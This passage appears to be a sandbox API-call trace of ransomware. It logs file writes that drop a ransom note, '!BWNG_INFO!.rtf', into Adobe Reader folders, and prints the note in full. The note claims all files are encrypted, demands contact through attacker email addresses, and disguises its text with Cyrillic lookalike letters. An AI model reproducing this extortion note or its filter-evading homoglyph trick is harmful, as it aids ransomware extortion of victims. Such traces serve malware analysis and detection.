pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.968] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.969] CloseHandle (hObject=0x1cc) returned 1 [0033.969] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\!bwng_info!.rtf")) returned 0xffffffff [0033.969] GetLastError () returned 0x2 [0033.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with 